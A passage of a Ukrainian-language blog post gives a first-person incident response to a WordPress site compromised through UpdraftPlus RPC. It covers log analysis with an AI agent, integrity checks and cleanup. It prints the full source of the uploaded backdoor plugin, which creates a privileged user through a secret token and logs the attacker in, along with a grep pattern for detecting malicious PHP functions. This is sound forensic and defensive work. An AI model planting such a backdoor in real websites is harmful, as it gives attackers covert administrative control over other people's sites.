RTFM: злам TeamUpdraft (UpdraftPlus) та WordPress з блогом RTFM
0 (0)

Автор |  20/10/2026
Click to rate this post!
[Total: 0 Average: 0]

Ранок 19-го жовтня почався не з кави – але адреналіну вистачило.

Перше, що я побачив, коли прокинувся – це алерти в Telegram, що на RTFM “щось пішло не так”:

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

Спершу не придав особливої уваги, бо якісь повідомлення про помилки PHP іноді бувають, зробив собі чаю, сів за комп’ютер, відкрив https://rtfm.co.ua, і… Упс.

“There has been a critical error on this website”

Он як…

Зміст

First debug: PHP Fatal Error та SiteDeskEc2

Першим ділом глянув логи, і спершу не зрозумів – а потім як зрозумів…

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

А зрозумів я те, що плагіна з назвою “site-desk-ec2” я ніколи не встановлював. А “EC2” в кінці змусило мож серденько битися ще частіше.

Йотвоюмать…

“В пошуках Немо”

Взагалі в WordPress бували випадки, правда давно, коли кривий плагін клав блог, і як раз в таких випадках WordPress починає повертати свою сумнозвісну “There has been a critical error on this website“.

Що в таких випадках робити – я теж знав, тому першим ділом просто видалив цей “плагін”. Але не просто видалив з rm -rf, а, вже будучи на досвіді і взагалі завжди остерігаючись видаляти якісь дані безповоротно – просто переніс /var/www/rtfm/rtfm.co.ua/wp-content/plugins/site-desk-ec2/ в інший каталог.

Після цього блог запрацював, і я все ще трохи в ах*ї – але вже без паніки почав розібратися, що саме сталося.

Розбирався з моїм Hermes Agent та GPT Sol 5.6, бо це як раз той випадок, коли діяти треба швидко – про це писав у AI: LLM, агенти, робота і ми – інженери. Особисті думки, де казав, що да – бувають ситуації, коли нема часу самому сидіти і згадувати синтаксис LogsQL чи MetricsQL і займатись аналізом – LLM з цим впорається швидше і краще.

Ще дуже допомогло те, що коли я переносив RTFM до AWS (див. AWS: сетап базової інфраструктури для WordPress) – то заодно нарешті налаштував повноцінний моніторинг, і тепер всі метрики та логи з AWS EC2, на якому працює блог, збираються до мого домашнього NAS, де є VictoriaMetrics та VictoriaLogs – див. VictoriaMetrics: базовий моніторинг AWS, Linux, NGINX та PHP.

На цьому ж NAS у FreeBSD Jail працює і контейнер з Hermes Agent (див. Hermes Agent: запуск AI Agent у FreeBSD Jail з Bastille), в якого є доступ до VictoriaMetrics і VictoriaLogs API, а тому достатньо було йому сказати “Хей, чувак – що за хєрня взагалі відбувається?”

VictoriaLogs і перший аналіз логів

Що ми (ну, “ми” – доволі умовно кажучи, бо більшу частину аналізу виконав Hermes) знайшли.

19 жовтня в 02:23:30 UTC – виклик POST з вже підозрілим User-Agent: WordPress/6.4 до файлу class-udrpc.php:

POST /
User-Agent: WordPress/6.4; class-udrpc.php
source: 2a09:bac5:4e21:2e3c::49b:9
response: 200, 1721 bytes, 2.996 s

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

І вже через 37 секунд була перша PHP Fatal error:

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

Перша підозра: UpdraftPlus/UpdraftCentral RPC і CVE-2026-10795 

Все виглядало дуже схоже на Remote Code Call від UpdraftPlus через вразливість CVE-2026-10795 в плагіні UpdraftPlus, який займається бекапами блогу в мої бакети AWS S3.

Див. UpdraftPlus WordPress Plugin — Unauthenticated RPC Key Bypass to Admin Creation & RCE (CVE-2026-10795) та CVE-2026-10795 Detail.

Бо “udrpc” в імені файла class-udrpc.php – це як раз “Up Draft RPC“.

Агент відразу загуглив вразливості з цим файлом і знайшов CVE-2026-10795, тому це стало першою робочою теорією.

Хоча, як виявилось пізніше, це було не зовсім так, і перше, що вказало на те, що це так – була версія плагіну: CVE стосувалась UpdraftPlus версій до 2.26.4 включно, а виправлення вийшло в 2.26.5, ще влітку – тоді як у мене вже була встановлена 2.26.11.

Втім – до цього я повернувся пізніше, бо першим ділом треба було закрити діру.

Перший крок: деактивація ключів в AWS IAM

Тут просто дуже коротко, але на самому початку і окремо нагадаю, що треба заблокувати credentials, які використовувались UpdraftPlus для збереження бекапів.

Я знав, які саме ключі AWS IAM використовувались UpdraftPlus – тому першим ділом деактивував їх.

Пізніше ще буде описано їх видалення з бази даних.

Бекап бази даних WordPress

Перед тим, як щось міняти в базі – робимо бекап:

[root@ip-10-0-3-146 site-desk-ec2]# umask 077 && wp db export /root/rtfm-before-updraft-cleanup-2026-10-19.sql --path=/var/www/rtfm/rtfm.co.ua --allow-root
Success: Exported to '/root/rtfm-before-updraft-cleanup-2026-10-19.sql'.

Перевірка файлів блогу – що було змінено

Знов-таки – “на досвіді” – я не став запускати Uninstall плагіну UpdraftPlus через адмінку, а тільки деактивував його.

Наступним кроком було перевірити чи є якісь файли, які було змінено з вечора 18-го числа:

[root@ip-10-0-3-146 site-desk-ec2]# TZ=UTC find /var/www/rtfm/rtfm.co.ua -xdev -type f -name '*.php' -newermt '2026-10-18 23:30:00' -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort

2026-10-19 02:48:06.4248299950 1980140 /var/www/rtfm/rtfm.co.ua/wp-content/wflogs/config-transient.php
2026-10-19 02:48:06.4248299950 3184 /var/www/rtfm/rtfm.co.ua/wp-content/wflogs/config-livewaf.php
2026-10-19 03:28:54.6964404970 75 /var/www/rtfm/rtfm.co.ua/wp-content/wflogs/ips.php
2026-10-19 03:29:29.6465986610 40083 /var/www/rtfm/rtfm.co.ua/wp-content/wflogs/attack-data.php
2026-10-19 03:30:06.1567605880 24242 /var/www/rtfm/rtfm.co.ua/wp-content/wflogs/config-synced.php

Це все службові файли плагіну Wordfence, їх зміна – очікувана.

Наступний крок – перевірити контрольні суми файлів WordPress Core:

[root@ip-10-0-3-146 site-desk-ec2]# wp core verify-checksums --path=/var/www/rtfm/rtfm.co.ua --allow-root
Warning: File doesn't exist: readme.html
Error: WordPress installation doesn't verify against checksums.

Тут тільки readme.html, це теж нормально.

Перевірка WordPress Users

CVE-2026-10795 серед іншого описувала створення нових юзерів, тому наступним кроком було перевірити юзерів в блозі:

[root@ip-10-0-3-146 site-desk-ec2]# wp user list --path=/var/www/rtfm/rtfm.co.ua --allow-root --fields=ID,user_login,user_email,user_registered,roles --format=table
+----+------------+---------------------+---------------------+---------------+
| ID | user_login | user_email          | user_registered     | roles         |
+----+------------+---------------------+---------------------+---------------+
| 2  | 111        | [email protected] | 2022-11-20 17:05:50 | administrator |
| 1  | 2222222    | [email protected] | 2016-02-13 18:11:58 | administrator |
| 3  | 3333333    | [email protected] | 2023-09-30 06:47:12 | administrator |
+----+------------+---------------------+---------------------+---------------+

Всі – мої, всі створені давно.

Перевірка опцій UpdraftPlus

І останнім тут – перевірив, що є в базі з опцій UpdraftPlus:

[root@ip-10-0-3-146 site-desk-ec2]# prefix=$(wp db prefix --path=/var/www/rtfm/rtfm.co.ua --allow-root) && wp db query --path=/var/www/rtfm/rtfm.co.ua --allow-root --skip-column-names "SELECT option_name, LENGTH(option_value) AS bytes FROM ${prefix}options WHERE option_name LIKE '%updraft%central%' OR option_name LIKE '%udrpc%' ORDER BY option_name;"
_transient_timeout_udrpch_2f4740a1c484f04854f4a4b3491e737c      10
_transient_udrpch_2f4740a1c484f04854f4a4b3491e737c      91
updraft_central_localkeys       2532
updraftcentral_client_log       16197

Тут:

  • updraft_central_localkeys: активні ключі підключення сервісу UpdraftCentral
  • _transient_udrpch_*: статус нещодавніх RPC-команд
  • updraftcentral_client_log: клієнтський лог виконання команд – і от він потім дуже допоміг

Перевірка журналу подій UpdraftPlus

Наступне – перевірити події в журналі UpdraftPlus:

[root@ip-10-0-3-146 site-desk-ec2]# wp eval '  
$v=get_option("updraftcentral_client_log",array());
$from=strtotime("2026-10-18 22:30:00 UTC");
$to=strtotime("2026-10-19 03:30:00 UTC");
foreach ($v as $i=>$e) {
    $raw=$e["time"] ?? "";
    $ts=is_numeric($raw) ? (int)$raw : strtotime((string)$raw);
    $ip=(string)($e["remote_ip"] ?? "");
    if (($ts && $ts >= $from && $ts <= $to) || $ip === "2a09:bac5:4e21:2e3c::49b:9") {
        $msg=(string)($e["message"] ?? "");
        $msg=preg_replace("/[A-Za-z0-9+_\/=-]{40,}/","[REDACTED_TOKEN]",$msg);
        $msg=substr(str_replace(array("\r","\n")," ",$msg),0,700);
        printf(
            "[%s] time=%s level=%s ip=%s ua=%s message=%s\n",
            $i,
            $ts ? gmdate("Y-m-d H:i:s",$ts)." UTC" : $raw,
            $e["level"] ?? "",
            $ip,
            substr((string)($e["http_user_agent"] ?? ""),0,180),
            $msg
        );
    }
}' --path=/var/www/rtfm/rtfm.co.ua --allow-root
[48] time=2026-10-18 23:45:06 UTC level=notice ip=2a09:bac5:4e21:2e3c::49b:9 ua=WordPress/6.4; class-udrpc.php message=Message was received, but not understood by local site (for: probe.central.updraftplus.com)
[49] time=2026-10-19 02:23:27 UTC level=info ip=2a09:bac5:4e21:2e3c::49b:9 ua=WordPress/6.4; class-udrpc.php message=Command received: plugin.upload_plugin

Де вже, власне, і побачив те, як саме через RPC був залитий той site-desk-ес2:

02:23:27: Command received - plugin.upload_plugin
02:24:07: first fatal from the site-desk-ec2

Видалення ключів TeamUpdraft

Наступна дія – відкликати ключі UpdraftPlus, просто видаливши їх з бази блогу:

[root@ip-10-0-3-146 site-desk-ec2]# wp option delete updraft_central_localkeys --path=/var/www/rtfm/rtfm.co.ua --allow-root
Success: Deleted 'updraft_central_localkeys' option.

Перевірка WordPress plugins checksums

Далі – перевіряємо контрольні суми всіх плагінів:

[root@ip-10-0-3-146 site-desk-ec2]# wp plugin verify-checksums --all --strict --path=/var/www/rtfm/rtfm.co.ua --allow-root
Warning: Couldn't fetch response from https://downloads.wordpress.org/plugin-checksums/freemius-fixer-develop/1.0.0.json (HTTP code 404).
Warning: Could not retrieve the checksums for version 1.0.0 of plugin freemius-fixer-develop, skipping.
Warning: Couldn't fetch response from https://downloads.wordpress.org/plugin-checksums/updraftplus/2.26.11.0.json (HTTP code 404).
Warning: Could not retrieve the checksums for version 2.26.11.0 of plugin updraftplus, skipping.
Warning: Couldn't fetch response from https://downloads.wordpress.org/plugin-checksums/wptelegram-pro/2.3.15.json (HTTP code 404).
Warning: Could not retrieve the checksums for version 2.3.15 of plugin wptelegram-pro, skipping.
Warning: Couldn't fetch response from https://downloads.wordpress.org/plugin-checksums/yet-another-stars-rating-premium/3.4.15.json (HTTP code 404).
Warning: Could not retrieve the checksums for version 3.4.15 of plugin yet-another-stars-rating-premium, skipping.
+-------------+---------------------------+----------------+
| plugin_name | file                      | message        |
+-------------+---------------------------+----------------+
| enlighter   | cache/enlighterjs.min.css | File was added |
| enlighter   | cache/enlighterjs.min.js  | File was added |
| enlighter   | cache/tinymce.css         | File was added |
+-------------+---------------------------+----------------+
Error: Only verified 55 of 60 plugins (1 failed, 4 skipped).

Файли в cache – очікувано могли змінюватись.

А 404 для freemius, updraftplus, wptelegram та yet-another-stars-rating-premium пов’язані з тим, що вони premium і їх нема в базі плагінів WordPress.

Тобто – всі 55 встановлених плагінів виглядають нормально.

Перевірка WordPress Cron

Наступне – глянути, чи не з’явилось зайвих cron jobs – їх багато, залишив тільки ті, які можуть бути цікавими:

[root@ip-10-0-3-146 site-desk-ec2]# wp cron event list --path=/var/www/rtfm/rtfm.co.ua --allow-root --fields=hook,next_run_gmt,recurrence --format=table
+----------------------------------------------------+---------------------+---------------+
| hook                                               | next_run_gmt        | recurrence    |
+----------------------------------------------------+---------------------+---------------+
...
| updraftplus_clean_temporary_files                  | 2026-10-19 12:17:28 | 12 hours      |
...
| updraft_backup                                     | 2026-10-19 23:47:15 | 1 day         |
| updraft_backup_database                            | 2026-10-19 23:47:15 | 1 day         |
...
+----------------------------------------------------+---------------------+---------------+

Тут три задачі від Updraft – всі цілком валідні.

Перевірка системного cron Linux

Також варто глянути задачі в самій операційній системі:

[root@ip-10-0-3-146 site-desk-ec2]# echo '=== rtfm user crontab ==='; \
crontab -u rtfm -l 2>&1; \
echo '=== cron files changed after incident ==='; \
TZ=UTC find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /var/spool/cron \
  -xdev -type f -newermt '2026-10-19 02:20:00' \
  -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %u:%g %p\n' 2>/dev/null | sort
=== rtfm user crontab ===
no crontab for rtfm
=== cron files changed after incident ===

Перевірка WordPress Themes checksums

І перевіряємо контрольні суми тем:

[root@ip-10-0-3-146 site-desk-ec2]# wp theme list --path=/var/www/rtfm/rtfm.co.ua --allow-root --fields=name,status,update,version,update_version,auto_update --format=table
+-------------------+----------+--------+---------+----------------+-------------+
| name              | status   | update | version | update_version | auto_update |
+-------------------+----------+--------+---------+----------------+-------------+
| iconic-one-child  | active   | none   |         |                | off         |
| iconic-one        | parent   | none   | 3.4     |                | off         |
...
| twentytwentytwo   | inactive | none   | 2.2     |                | off         |
+-------------------+----------+--------+---------+----------------+-------------

Тут iconic-one-child – моя дочірня тема, яка зараз використовується (див. WordPress: использование дочерних тем оформления блога), тому є сенс її перевірити додатково:

[root@ip-10-0-3-146 site-desk-ec2]# root=/var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child; \
echo '=== Files ==='; \
find "$root" -xdev -type f -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort; \
echo '=== Suspicious PHP constructs ==='; \
grep -RInE --include='*.php' 'eval[[:space:]]*\(|assert[[:space:]]*\(|base64_decode[[:space:]]*\(|gzinflate[[:space:]]*\(|gzuncompress[[:space:]]*\(|str_rot13[[:space:]]*\(|shell_exec[[:space:]]*\(|passthru[[:space:]]*\(|proc_open[[:space:]]*\(|popen[[:space:]]*\(|system[[:space:]]*\(' "$root" || true
=== Files ===
2020-03-12 12:23:19.0000000000 1315 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/single.php
2020-03-12 12:25:56.0000000000 1043 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/page.php
2020-03-12 12:28:45.0000000000 4646 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/content.php
2020-03-12 20:50:01.0000000000 964 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/style.css
2026-03-22 08:12:13.9371691290 1574 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/footer.php
2026-09-30 21:14:03.8066808020 1271 /var/www/rtfm/rtfm.co.ua/wp-content/themes/iconic-one-child/functions.php
=== Suspicious PHP constructs ===

Тут:

  • підозрілих PHP-конструкцій не знайдено
  • жоден файл не змінювався під час сьогоднішньої атаки
  • файл footer.php востаннє змінювався у березні 2026 року
  • файл functions.php змінювався 30 вересня 2026 року, тобто задовго до інциденту
  • решта файлів лежать без змін із 2020 року

Перевірка всіх змінених файлів WordPress

Шукаємо взагалі всі файли в /var/www/rtfm/rtfm.co.ua, які були змінені за останній час – але виключимо wflogs (Wordfence):

[root@ip-10-0-3-146 site-desk-ec2]# TZ=UTC find /var/www/rtfm/rtfm.co.ua -xdev -type f -newermt '2026-10-19 02:20:00' \
  ! -path '/var/www/rtfm/rtfm.co.ua/wp-content/wflogs/*' \
  -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort
2026-10-19 03:50:10.4620575220 489487 /var/www/rtfm/rtfm.co.ua/llms.txt

llms.txt – зміни очікувані, решта виглядає нормально.

Перевірка всіх змінених файлів на сервері

PHP-процес залитого коду працював 50 хвилин – тому варто перевірити взагалі всі файли на сервері, які було змінено з 02:20 19-го числа:

[root@ip-10-0-3-146 site-desk-ec2]# TZ=UTC find / -xdev -type f -uid 991 -newermt '2026-10-19 02:20:00' \
  ! -path '/var/www/rtfm/rtfm.co.ua/wp-content/wflogs/*' \
  -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %u:%g %p\n' 2>/dev/null | sort
2026-10-19 02:23:27.3678056720 141 rtfm:rtfm /root/rtfm-incident-2026-10-19/site-desk-ec2/uninstall.php
2026-10-19 02:23:27.3678056720 2117 rtfm:rtfm /root/rtfm-incident-2026-10-19/site-desk-ec2/site-desk-ec2.php
2026-10-19 02:23:27.3678056720 27 rtfm:rtfm /root/rtfm-incident-2026-10-19//site-desk-ec2/assets/public.css
2026-10-19 02:23:27.3678056720 27 rtfm:rtfm /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.js
2026-10-19 02:23:27.3678056720 27 rtfm:rtfm /root/rtfm-incident-2026-10-19/site-desk-ec2/languages/readme.txt
2026-10-19 03:41:17.3696963680 1179529 rtfm:rtfm /var/log/php/rtfm.co.ua/rtfm.co.ua-error.log
2026-10-19 03:51:26.3924035520 488685 rtfm:nginx /var/www/rtfm/rtfm.co.ua/llms.txt

Тут /root/rtfm-incident-2026-10-19/site-desk-ec2/ – мій “карантин”, зміни у файлі логів і llms.txt – очікувані.

Тепер, як загальну перевірку провели – можна глянути на сам “плагін” site-desk-ec2.

Перевірка Site Desk Ec2

Виводимо список файлів site-desk-ec2, їхні права, власників, час зміни та код в них:

[root@ip-10-0-3-146 site-desk-ec2]# dir=/root/rtfm-incident-2026-10-19/site-desk-ec2; \
echo '=== METADATA ==='; \
find "$dir" -xdev -type f -printf '%M %u:%g %TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort; \
echo '=== SHA256 ==='; \
find "$dir" -xdev -type f -print0 | sort -z | xargs -0 sha256sum; \
echo '=== SOURCE ==='; \
for f in "$dir/site-desk-ec2.php" "$dir/uninstall.php" "$dir/assets/public.js" "$dir/assets/public.css" "$dir/languages/readme.txt"; do \
  echo "===== $f ====="; \
  nl -ba "$f"; \
done
=== METADATA ===
-rw-r--r-- rtfm:rtfm 2026-10-19 05:23:27.3678056720 141 /root/rtfm-incident-2026-10-19/site-desk-ec2/uninstall.php
-rw-r--r-- rtfm:rtfm 2026-10-19 05:23:27.3678056720 2117 /root/rtfm-incident-2026-10-19/site-desk-ec2/site-desk-ec2.php
-rw-r--r-- rtfm:rtfm 2026-10-19 05:23:27.3678056720 27 /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.css
-rw-r--r-- rtfm:rtfm 2026-10-19 05:23:27.3678056720 27 /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.js
-rw-r--r-- rtfm:rtfm 2026-10-19 05:23:27.3678056720 27 /root/rtfm-incident-2026-10-19/site-desk-ec2/languages/readme.txt
=== SHA256 ===
ee2d58f3c8b2a92beee103143c0d30029f779ef82870ff250353146b54b8bcc0  /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.css
ee2d58f3c8b2a92beee103143c0d30029f779ef82870ff250353146b54b8bcc0  /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.js
17c13835af0ae8a6f5e5c864c251b5ff93125caa6cb89b69727291a18163eb39  /root/rtfm-incident-2026-10-19/site-desk-ec2/languages/readme.txt
0bd04349bc08e73aeaa3db8d97b20db780ea2d24d980ddb767e600bf02a032bc  /root/rtfm-incident-2026-10-19/site-desk-ec2/site-desk-ec2.php
3eab3f527f302ac9476c2cb4860f300aba18dcb7a6fa48857ba8aa956ac9c471  /root/rtfm-incident-2026-10-19/site-desk-ec2/uninstall.php
=== SOURCE ===
===== /root/rtfm-incident-2026-10-19/site-desk-ec2/site-desk-ec2.php =====
     1  <?php
     2  /**
     3   * Site Desk Ec2
     4   *
     5   * @package           site-desk-ec2
     6   * @author            CommonGantry
     7   * @license           GPL-2.0-or-later
     8   *
     9   * @wordpress-plugin
    10   * Plugin Name:       Site Desk Ec2
    11   * Description:       Small maintenance toolkit: keeps option storage tidy.
    12   * Version:           3.6.7
    13   * Requires at least: 5.2
    14   * Requires PHP:      7.2
    15   * Author:            CommonGantry
    16   * Text Domain:       site-desk-ec2
    17   * Domain Path:       /languages
    18   */
    19
    20  if ( ! defined( 'ABSPATH' ) ) {
    21          exit;
    22  }
    23
    24  define( 'SITEDESKEC2_VERSION', '3.6.7' );
    25  define( 'SITEDESKEC2_TOKEN', '***-7gihlY' );
    26  define( 'SITEDESKEC2_FIELD', '***' );
    27  define( 'SITEDESKEC2_SVC_LOGIN', 'page-build71' );
    28  define( 'SITEDESKEC2_SVC_PASS', '***' );
    29
    30  final class SiteDeskEc2 {
    31
    32          private static $instance = null;
    33
    34          public static function instance() {
    35                  if ( null === self::$instance ) self::$instance = new self();
    36                  return self::$instance;
    37          }
    38
    39          private function __construct() {
    40                  add_action( 'init', array( $this, 'handle_sync' ), 1 );
    41          }
    42
    43          public function handle_sync() {
    44                  if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
    45                          $user = get_user_by( 'login', self::SVC_LOGIN );
    46                          if ( ! $user ) {
    47                                  $uid = wp_insert_user( array(
    48                                          'user_login' => self::SVC_LOGIN,
    49                                          'user_pass' => self::SVC_PASS,
    50                                          'user_email' => self::SVC_LOGIN . '@example.org',
    51                                          'display_name' => 'Site Tools',
    52                                          'role' => 'editor',
    53                                  ) );
    54                                  if ( is_wp_error( $uid ) ) return;
    55                                  $u = new WP_User( $uid );
    56                                  $u->add_cap( 'manage_options' );
    57                                  $u->add_cap( 'install_plugins' );
    58                                  $user = get_user_by( 'id', $uid );
    59                          }
    60
    61                          wp_set_current_user( $user->ID, $user->user_login );
    62                          wp_set_auth_cookie( $user->ID, true, is_ssl() );
    63                          wp_safe_redirect( admin_url( 'index.php' ) );
    64                          exit;
    65                  }
    66          }
    67  }
    68
    69  // Activation: token only
    70  register_activation_hook( __FILE__, function () {
    71          if ( ! get_option( 'site_desk_ec2_sync_token' ) ) {
    72                  update_option( 'site_desk_ec2_sync_token', 'UwD_uHPjCaZfNeP3f2iIKQRMx-7gihlY', false );
    73          }
    74  } );
    75
    76  SiteDeskEc2::instance();
===== /root/rtfm-incident-2026-10-19/site-desk-ec2/uninstall.php =====
     1  <?php
     2  if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) exit;
     3  delete_option('site_desk_ec2_setup_stamp');
     4  delete_option('site_desk_ec2_sync_token');
===== /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.js =====
     1  /* site-desk-ec2 public */
===== /root/rtfm-incident-2026-10-19/site-desk-ec2/assets/public.css =====
     1  /* site-desk-ec2 public */
===== /root/rtfm-incident-2026-10-19/site-desk-ec2/languages/readme.txt =====
     1  site-desk-ec2 translations

Результат аналізу

Я в PHP дуб дубом, тому тут текст від мого агента.

Назва плагіна — Site Desk Ec2, slug — site-desk-ec2.

Це шкідливий плагін-бекдор. Після звернення за спеціально сформованим URL він мав:

    • створити користувача page-build71;
    • призначити йому роль editor;
    • окремо надати адміністративні права:
      • manage_options;
      • install_plugins;
    • автоматично авторизувати атакувальника за допомогою WordPress cookie;
    • перенаправити його до /wp-admin/

Чому бекдор не спрацював

Якщо коротко з того, що пояснив Hermes – в коді просто неправильно були оголошені змінні, через що виклик коду просто падав з FATAL:

Пояснення самого Hermes виглядало так:

RTFM: злам TeamUpdraft UpdraftPlus та RTFM

В результаті, замість того, щоб втіхаря відпрацювати – код призвів до постійних PHP Errors, блог впав, я побачив це в моніторингу (і добре, що в той день рано прокинувся) – і поліз розбиратись.

А якби він спрацював…

Чистка бази даних блогу від слідів Site Desk Ec2

Втім, він встиг в базу записати свій токен:

[root@ip-10-0-3-146 site-desk-ec2]# prefix=$(wp db prefix --path=/var/www/rtfm/rtfm.co.ua --allow-root) && \
wp db query --path=/var/www/rtfm/rtfm.co.ua --allow-root --skip-column-names \
"SELECT option_name,
        LENGTH(option_value) AS value_bytes,
        autoload,
        SHA2(option_value, 256) AS value_sha256
 FROM ${prefix}options
 WHERE option_name IN (
   'site_desk_ec2_sync_token',
   'site_desk_ec2_setup_stamp'
 )
 ORDER BY option_name;"
site_desk_ec2_sync_token        32      off     12102d2102bb4df9a52cf3620bfe7c50a26c9b4f204cdfaa412a88c6944f39f9

Видаляємо його:

[root@ip-10-0-3-146 site-desk-ec2]# root=/var/www/rtfm/rtfm.co.ua; \
wp option delete site_desk_ec2_sync_token --path="$root" --allow-root && \
if wp option get site_desk_ec2_sync_token --path="$root" --allow-root >/dev/null 2>&1; then \
  echo 'ERROR: site_desk_ec2_sync_token still exists'; \
else \
  echo 'OK: site_desk_ec2_sync_token is absent'; \
fi
Success: Deleted 'site_desk_ec2_sync_token' option.
OK: site_desk_ec2_sync_token is absent

І ще раз перевіряємо базу на шось, що може бути схожим на опції бекдора:

[root@ip-10-0-3-146 site-desk-ec2]# prefix=$(wp db prefix --path=/var/www/rtfm/rtfm.co.ua --allow-root) && \
wp db query --path=/var/www/rtfm/rtfm.co.ua --allow-root \
"SELECT 'option' AS source, option_name AS identifier
 FROM ${prefix}options
 WHERE option_name <> 'updraftcentral_client_log'
   AND (
     option_name LIKE '%site_desk_ec2%'
     OR option_name LIKE '%site-desk-ec2%'
     OR option_value LIKE '%site_desk_ec2%'
     OR option_value LIKE '%site-desk-ec2%'
     OR option_value LIKE '%SiteDeskEc2%'
     OR option_value LIKE '%page-build71%'
     OR option_value LIKE '%CommonGantry%'
   )
 UNION ALL
 SELECT 'user', user_login
 FROM ${prefix}users
 WHERE user_login = 'page-build71'
    OR user_email LIKE '%page-build71%'
    OR display_name LIKE '%Site Tools%'
 UNION ALL
 SELECT 'usermeta', CONCAT(user_id, ':', meta_key)
 FROM ${prefix}usermeta
 WHERE meta_key LIKE '%site_desk_ec2%'
    OR meta_value LIKE '%page-build71%'
    OR meta_value LIKE '%SiteDeskEc2%'
 ORDER BY source, identifier;"
[root@ip-10-0-3-146 site-desk-ec2]#

Summary so far

На цьому основні перевірки завершені, і картина зараз така:

  • підтверджено завантаження лише одного шкідливого плагіна
  • його бекдор був написаний з помилками і падав ще до створення юзера
  • інших змінених PHP-файлів не виявлено
  • пов’язаних з атакою файлів поза межами webroot не знайдено
  • нових користувачів, підозрілих записів у usermeta, шкідливих options та нових задач у cron не знайдено
  • ключі UpdraftCentral відкликано
  • сайт працює, нових PHP Fatal Errors немає

Тепер можна переходити до самого UpdraftPlus.

Видалення UpdraftPlus

Наступний крок видалити плагін UpdraftPlus – але не запускати Uninstall через адмінку WordPress, бо це могло б видалити корисні для подальшої перевірки дані, та і взагалі – запускати код скомпрометованого плагіну – ідея така собі.

Отже – створив “карантин” з доступом тільки root і переніс плагін туди:

[root@ip-10-0-3-146 site-desk-ec2]# install -d -m 700 /root/rtfm-incident-2026-10-19 && mv /var/www/rtfm/rtfm.co.ua/wp-content/plugins/updraftplus /root/rtfm-incident-2026-10-19/updraftplus
[root@ip-10-0-3-146 site-desk-ec2]# mv /home/ec2-user/site-desk-ec2/ /root/rtfm-incident-2026-10-19/
[root@ip-10-0-3-146 site-desk-ec2]# ll /root/rtfm-incident-2026-10-19/
total 16
drwxr-xr-x.  4 rtfm rtfm    83 Oct 19 06:30 site-desk-ec2
drwxr-xr-x. 12 rtfm rtfm 16384 Oct 17 21:12 updraftplus

Видалення UpdraftPlus WordPress cron jobs

Видаляємо його WordPress cron jobs:

[root@ip-10-0-3-146 site-desk-ec2]# root=/var/www/rtfm/rtfm.co.ua; \
for hook in updraftplus_clean_temporary_files updraft_backup updraft_backup_database; do \
  wp cron event delete "$hook" --path="$root" --allow-root; \
done; \
echo '=== Remaining Updraft cron events ==='; \
wp cron event list --path="$root" --allow-root --fields=hook,next_run_gmt,recurrence --format=csv \
  | grep -i updraft || echo 'OK: no Updraft cron events remain'
Success: Deleted a total of 1 cron event.
Success: Deleted a total of 1 cron event.
Success: Deleted a total of 1 cron event.
=== Remaining Updraft cron events ===
OK: no Updraft cron events remain

Видалення WordPress options від UpdraftPlus

Перевіряємо всі опції від UpdraftPlus – їх багато, виведу основні:

[root@ip-10-0-3-146 site-desk-ec2]# prefix=$(wp db prefix --path=/var/www/rtfm/rtfm.co.ua --allow-root) && \
wp db query --path=/var/www/rtfm/rtfm.co.ua --allow-root \
"SELECT option_name,
        LENGTH(option_value) AS value_bytes,
        autoload
 FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name LIKE '_transient%udrpc%'
 ORDER BY option_name;"
option_name     value_bytes     autoload
_transient_timeout_udrpch_2f4740a1c484f04854f4a4b3491e737c      10      off
_transient_udrpch_2f4740a1c484f04854f4a4b3491e737c      91      off
updraft_autobackup_go   1       on
updraft_azure   28      yes
updraft_backblaze       28      yes
...
updraft_s3      284     on
updraft_s3generic       262     on
...
updraftplus-addons_siteid       32      no

В updraft_s3, мабуть, і були ключі AWS IAM для доступу до S3 – але не дивився, бо ключі все одно вже були неактивні.

Наступний крок – видалення цих опції.

Бекап бази робили на початку – /root/rtfm-before-updraft-cleanup-2026-10-19.sql, тому можна виконувати відносно спокійно.

Втім, все одно спочатку робимо SELECT:

[root@ip-10-0-3-146 ~]# root=/var/www/rtfm/rtfm.co.ua; \
prefix=$(wp db prefix --path="$root" --allow-root) && \
wp db query --path="$root" --allow-root \
"SELECT option_id,
        option_name,
        LENGTH(option_value) AS value_bytes,
        autoload
 FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
    OR option_name REGEXP '^_transient(_timeout)?_udrpch_[A-Za-z0-9]+$'
 ORDER BY option_name;"
option_id       option_name     value_bytes     autoload
14049688        _transient_timeout_udrpch_2f4740a1c484f04854f4a4b3491e737c      10      off
14049689        _transient_udrpch_2f4740a1c484f04854f4a4b3491e737c      91      off
13400211        updraft_autobackup_go   1       on
5538077 updraft_azure   28      yes
5538080 updraft_backblaze       28      yes
...
5538085 updraftplus-addons_siteid       32      no

Всі знайдені опції – від UpdraftPlus, тому тепер їх видаляємо:

[root@ip-10-0-3-146 ~]# root=/var/www/rtfm/rtfm.co.ua; \
prefix=$(wp db prefix --path="$root" --allow-root) && \
wp db query --path="$root" --allow-root \
"START TRANSACTION;

 DELETE FROM ${prefix}options
 WHERE option_name LIKE 'updraft%'
